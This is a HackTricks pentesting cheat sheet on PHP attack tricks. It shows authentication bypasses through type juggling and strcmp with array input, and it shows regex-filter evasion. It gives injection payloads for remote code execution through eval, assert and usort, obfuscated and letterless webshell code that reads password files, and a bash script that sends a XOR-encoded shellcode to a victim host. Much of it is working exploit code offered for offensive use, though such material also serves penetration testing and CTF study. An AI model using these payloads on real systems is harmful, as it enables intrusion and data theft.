.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
README.md |
PHP Tricks
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.
Cookies common location:
This is also valid for phpMyAdmin cookies.
Cookies:
PHPSESSID
phpMyAdmin
Locations:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Bypassing PHP comparisons
Loose comparisons/Type Juggling ( == )
If ==
is used in PHP, then there are unexpected cases where the comparison doesn't behave as expected. This is because "==" only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===
.
PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
A string which doesn't start with a number is equals to a number"0xAAAA" == "43690" -> True
Strings composed by numbers in dec or hex format can be compare to other numbers/strings with True as result if the numbers were the same (numbers in a string are interpreted as numbers)"0e3264578" == 0 --> True
A string starting with "0e" and followed by anything will be equals to 0"0X3264578" == 0X --> True
A string starting with "0" and followed by any letter (X can be any letter) and followed by anything will be equals to 0"0e12334" == "0" --> True
This is very interesting because in some cases yo can control the string input of "0" and some content that is being hashed and compared to it. Therefore, if you can provide a value that will create a hash starting with "0e" and without any letter, you could bypass the comparison. You can find already hashed strings with this format here: https://github.com/spaze/hashes"X" == 0 --> True
Any letter in a string is equals to int 0
More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling also affects to the in_array()
function by default (you need to set to true the third argument to make an strict comparison):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
If this function is used for any authentication check (like checking the password) and the user controls one side of the comparison, he can send an empty array instead of a string as the value of the password (https://example.com/login.php/?username=admin&password[]=
) and bypass this check:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
The same error occurs with strcasecmp()
Strict type Juggling
Even if ===
is being used there could be errors that makes the comparison vulnerable to type juggling. For example, if the comparison is converting the data to a different type of object before comparing:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
could be used to validate user input (it checks if any word/regex from a blacklist is present on the user input and if it's not, the code can continue it's execution).
New line bypass
However, when delimiting the start of the regexppreg_match()
only checks the first line of the user input, then if somehow you can send the input in several lines, you could be able to bypass this check. Example:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
To bypass this check you could send the value with new-lines urlencoded (%0A
) or if you can send JSON data, send it in several lines:
{
"cmd": "cat /etc/passwd"
}
Find an example here: https://ramadistra.dev/fbctf-2019-rceservice
Length error bypass
(This bypass was tried apparently on PHP 5.2.5 and I couldn't make it work on PHP 7.3.15)
If you can send to preg_match()
a valid very large input, it won't be able to process it and you will be able to bypass the check. For example, if it is blacklisting a JSON you could send:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
Type Juggling for PHP obfuscation
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
More tricks
- register_globals: In PHP < 4.1.1.1 or if misconfigured, register_globals may be active (or their behavior is being mimicked). This implies that in global variables like $_GET if they have a value e.g. $_GET["param"]="1234", you can access it via $param. Therefore, by sending HTTP parameters you can overwrite variables that are used within the code.
- The PHPSESSION cookies of the same domain are stored in the same place, therefore if within a domain different cookies are used in different paths you can make that a path accesses the cookie of the path setting the value of the other path cookie.
This way if both paths access a variable with the same name you can make the value of that variable in path1 apply to path2. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2). - When you have the usernames of the users of the machine. Check the address: /~<USERNAME> to see if the php directories are activated.
- LFI and RCE using php wrappers
password_hash/password_verify
This functions are typically used in PHP to generate hashes from passwords and to to check if a password is correct compared with a hash.
The supported algorithms are: PASSWORD_DEFAULT
and PASSWORD_BCRYPT
(starts with $2y$
). Note that PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. And currently, PASSWORD_BCRYPT has a size limitation in the input of 72bytes. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusing PHP errors
If a PHP page is printing errors and echoing back some input provided by the user, the user can make the PHP server print back some content long enough so when it tries to add the headers into the response the server will throw and error.
In the following scenario the attacker made the server throw some big errors, and as you can see in the screen when php tried to modify the header information, it couldn't (so for example the CSP header wasn't sent to the user):
Code execution
system("ls");
`ls`;
shell_exec("ls");
Check this for more useful PHP functions
Code execution using preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
To execute the code in the "replace" argument is needed at least one match.
This option of preg_replace has been deprecated as of PHP 5.5.0.
Code execution with Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
Code execution with Assert()
This function within php allows you to execute code that is written in a string in order to return true or false (and depending on this alter the execution). Usually the user variable will be inserted in the middle of a string. For example:
assert("strpos($_GET['page']),'..') === false")
--> In this case to get RCE you could do:
?page=a','NeVeR') === false and system('ls') and strpos('a
You will need to break the code syntax, add your payload, and then fix it again. You can use logic operations such as "and" or "%26%26" or "|". Note that "or", "||" doesn't work because if the first condition is true our payload won't get executed. The same way ";" doesn't work as our payload won't be executed.
Other option is to add to the string the execution of the command: '.highlight_file('.passwd').'
Other option (if you have the internal code) is to modify some variable to alter the execution: $file = "hola"
Code execution with usort()
This function is used to sort an array of items using an specific function.
To abuse this function:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
You can also use // to comment the rest of the code.
To discover the number of parenthesis that you need to close:
?order=id;}//
: we get an error message (Parse error: syntax error, unexpected ';'
). We are probably missing one or more brackets.?order=id);}//
: we get a warning. That seems about right.?order=id));}//
: we get an error message (Parse error: syntax error, unexpected ')' i
). We probably have too many closing brackets.
Code execution via .httaccess
If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).
Different .htaccess shells can be found here
PHP Static analysis
Look if you can insert code in calls to these functions (from here):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
If yo are debugging a PHP application you can globally enable error printing in/etc/php5/apache2/php.ini
adding display_errors = On
and restart apache : sudo systemctl restart apache2
Deobfuscating PHP code
You can use the web www.unphp.net to deobfuscate php code.
PHP Wrappers
Variable variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
Xdebug unauthenticated RCE
If you see that Xdebug is enabled in a phpconfig()
output you should try to get RCE via https://github.com/nqxcode/xdebug-exploit
Execute PHP without letters
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Using octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR Shellcode (inside eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl like
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.